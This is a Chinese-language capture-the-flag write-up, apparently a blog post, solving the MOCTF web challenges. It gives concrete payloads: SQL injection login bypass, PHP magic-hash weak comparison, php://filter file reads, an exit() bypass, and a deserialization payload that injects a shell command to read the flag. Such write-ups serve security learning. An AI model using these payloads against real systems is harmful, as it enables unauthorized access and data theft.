zoukankan      html  css  js  c++  java
  • MOCTF

    web

    1. 一道水题

      F12查看源码或访问view-source:http://119.23.73.3:5001/web1/

    2. 还是水题

      F12改前端限制,提交moctf

    3. 访问限制

      burp抓包改User-Agent:为 NAIVE即可

    4. 机器蛇

      查看源码 view-source:http://119.23.73.3:5001/web4/
      发现注释下有<!--robots.txt-->,访问
      访问/flag327a6c4304ad5938eaf0efb6cc3e53dc.php
      
    5. PHP黑魔法

      dirsearch扫描网站目录,/index.php~下有源码
      利用php弱类型 == 在进行比较的时候,会先将字符串类型转化成相同,再比较
      传入MD5后开头为0的值即可
      
      payload:http://119.23.73.3:5001/web5/index.php?a=s878926199a&b=s155964671a
      
    6. 我想要钱

      传入?money=1e88

    7. 登录就对了

      万能密码登录 admin' or 1=1 -- +

      看源码

    8. 文件包含

      php伪协议直接读

      payload:http://119.23.73.3:5001/web8/index.php?file=php://filter/convert.base64-encode/resource=flag.php

    9. 暴跳老板

      抓包发送Dear=MyBoss 在response中有提示

    10. flag在哪里

      重定向,用burp抓包

      脑洞访问/frogflag.php orz!!

    11. 美味的饼干

      F12查看Cookie,base64解码,后查询md5出user

      伪造admin的Cookie出flag

    12. 没时间解释了

      条件竞争,用burp发包就行

    13. 死亡退出

      拉开看源码

       <?php
        show_source(__FILE__);
        $c="<?php exit;?>";
        @$c.=$_POST['c'];
        @$filename=$_POST['file']; 
        if(!isset($filename))                    
        {                                       
          file_put_contents('tmp.php', ''); 
        }                                 
        @file_put_contents($filename, $c);
        include('tmp.php');
      ?>
      

      P神的文章https://www.leavesongs.com/PENETRATION/php-filter-magic.html

      <?php exit;?>进行编码使他失效,可以用php伪协议,file可控、

      exit

      base64算法解码时是4个byte一组,所以在开头加一个字母

    14. 火眼金睛

      ##脚本
      import requests
      import re
      
      url = 'http://119.23.73.3:5001/web10/'
      se = requests.session()
      html = re.findall("<textarea rows = '30' cols = '100'>(.*)</textarea>",se.get(url).text)
      result = re.findall("moc(.)f",str(html))
      data = {'answer': len(result)}
      sult = se.post('http://119.23.73.3:5001/web10/work.php',data = data)
      print(sult.text)
      
    15. unset

      <?php
      highlight_file('index.php');
      function waf($a){
      foreach($a as $key => $value){
              if(preg_match('/flag/i',$key)){
              exit('are you a hacker');
      }
      }
      }
      foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
              if($$__R) { 
              foreach($$__R as $__k => $__v) { 
                  if(isset($$__k) && $$__k == $__v) unset($$__k); 
              }
           }
      
      }
      if($_POST) { waf($_POST);}
      if($_GET) { waf($_GET); }
      if($_COOKIE) { waf($_COOKIE);}
      
      if($_POST) extract($_POST, EXTR_SKIP);
      if($_GET) extract($_GET, EXTR_SKIP);
      if(isset($_GET['flag'])){
      if($_GET['flag'] === $_GET['daiker']){
              exit('error');
      }
      if(md5($_GET['flag'] ) == md5($_GET['daiker'])){
              include($_GET['file']);
      }
      }
      
      ?>
      

      看到

      foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
              if($$__R) { 
              foreach($$__R as $__k => $__v) { 
                  if(isset($$__k) && $$__k == $__v) unset($$__k); 
              }
           }
      
      }
      

      超全局变量覆盖,没看懂,。。。。。。post和get同时发东西,以后补

    16. PUGU

      点击学校,再点击叫我校霸,能下载到源码,访问class.php.bak得到源码

      php反序列化实现任意命令执行

      payload:http://120.78.57.208:6001/?LandIn=school&pubg=O:7:"sheldon":3:{s:3:"bag";s:27:"//win.php| cat ./class/flag";s:6:"weapon";s:3:"AWM";}

  • 相关阅读:
    NVelocity语法
    Linux C socket 编程之UDP
    MFC之Radio Button按钮学习 转载
    动态加载DLL
    JS中 判断一个整数是偶数还是奇数,并输出判断结果。
    JS中判断一个整数,属于哪个范围:大于0;小于0;等于0
    JS输入分数,判定成绩等级(if和switch两种写法)
    JS中根据输入的三个数字,判断是这一年的第几天。
    JS中开发一款软件,根据公式(身高108)*2=体重,可以有10斤左右的浮动。来观察测试者体重是否合适。
    php 多语言(UTF8编码)导出Excel、CSV乱码解决办法之导出UTF8编码的Excel、CSV
  • 原文地址:https://www.cnblogs.com/thenbz3/p/11524068.html
Copyright © 2011-2022 走看看